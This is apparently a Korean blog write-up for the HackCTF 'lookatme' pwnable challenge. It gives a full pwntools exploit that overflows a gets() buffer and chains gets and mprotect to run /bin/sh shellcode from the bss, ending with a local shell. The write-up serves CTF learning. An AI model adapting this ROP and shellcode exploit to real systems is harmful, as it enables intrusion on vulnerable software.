Phantom

HackCTF lookatme 본문

Pwnable/HackCTF

HackCTF lookatme

Ph4nt0m_ 2022. 9. 1. 17:03
반응형

Look at Me

Source

➜  pwnable git:(master) ✗ file lookatme 
lookatme: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=d2a1b10d006e4d6c4e84305383b4dc86481d87da, not stripped
➜  pwnable git:(master) ✗ checksec --file lookatme 
[*] '/home/ubuntu/CTF/hackctf/pwnable/lookatme'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int look_at_me()
{
  char v1[24]; // [esp+0h] [ebp-18h] BYREF

  puts("Hellooooooooooooooooooooo");
  return gets(v1);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  v4 = getegid();
  setresgid(v4, v4, v4);
  look_at_me();
  return 0;
}

Solve

해당 바이너리는 32비트이며 특징은 Statically Linked라는 것이다. 그리고 포함된 함수 중 system함수는 없다. 대신 mprotect함수가 있다. 이걸 이용해서 잘 조져보면 된다 라는것 같다.

mprotect 함수를 이용해 특정 영역에 실행 권한을 주고 쉘코드를 실행하면 되지 않을까?

NAME
       mprotect, pkey_mprotect - set protection on a region of memory

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

인자는 3가지이며 주소, 길이, 권한이다. 함수의 기능은 메모리 영역의 권한을 세팅하는 함수이다.

그럼 쉘코드를 어디에 저장하면 좋을까?

지금 떠오르는 곳은 스택과 bss이다.

하지만 스택은 주소를 구하기가 조금 까다롭다. bss는 고정이기도 하고 주소 구하는것이 쉬울 것이다.

mprotect에서 주소를 지정할때 1000의 배수로 지정해줘야 한다.

addr must be aligned to a page boundary.
$ ./a.out
Start of region:        0x804c000
Got SIGSEGV at address: 0x804e000

bss의 주소를 얻은 후 최하위 3자리를 0으로 만든 주소를 세팅했다.

from pwn import *

#context.log_level = "debug"
p = process("lookatme",aslr=False)
e = ELF("./lookatme")
context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p, "b*0x0804889e")
pop3ret = 0x0806f028
popret = 0x08048433
mprotect = e.symbols['mprotect']
gets = e.symbols['gets']
bss = e.bss()
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print p.recvuntil("Hellooooooooooooooooooooo")
payload = "A"*28

payload += p32(gets)
payload += p32(popret)
payload += p32(bss)


payload += p32(mprotect)
payload += p32(pop3ret)
payload += p32(0x80ea000)
payload += p32(0x2000)
payload += p32(0x7)

payload += p32(bss)

p.sendline(payload)
p.sendline(shellcode)
p.interactive()
➜  17_Look_at_me git:(master) python lookatme.py
[+] Starting local process './lookatme': pid 7705
[!] ASLR is disabled!
[*] '/mnt/d/CTF/hackctf/HackCTF/17_Look_at_me/lookatme'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Hellooooooooooooooooooooo
[*] Switching to interactive mode

$ id
uid=1000(phantom) gid=1000(phantom) groups=1000(phantom),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
$

반응형

'Pwnable > HackCTF' 카테고리의 다른 글

HackCTF RTL_core  (0) 2022.09.01
HackCTF rtl_world  (0) 2022.09.01
HackCTF yes_or_no  (0) 2022.09.01
HackCTF Offset  (0) 2022.09.01
HackCTF bof_pie  (0) 2022.09.01
Comments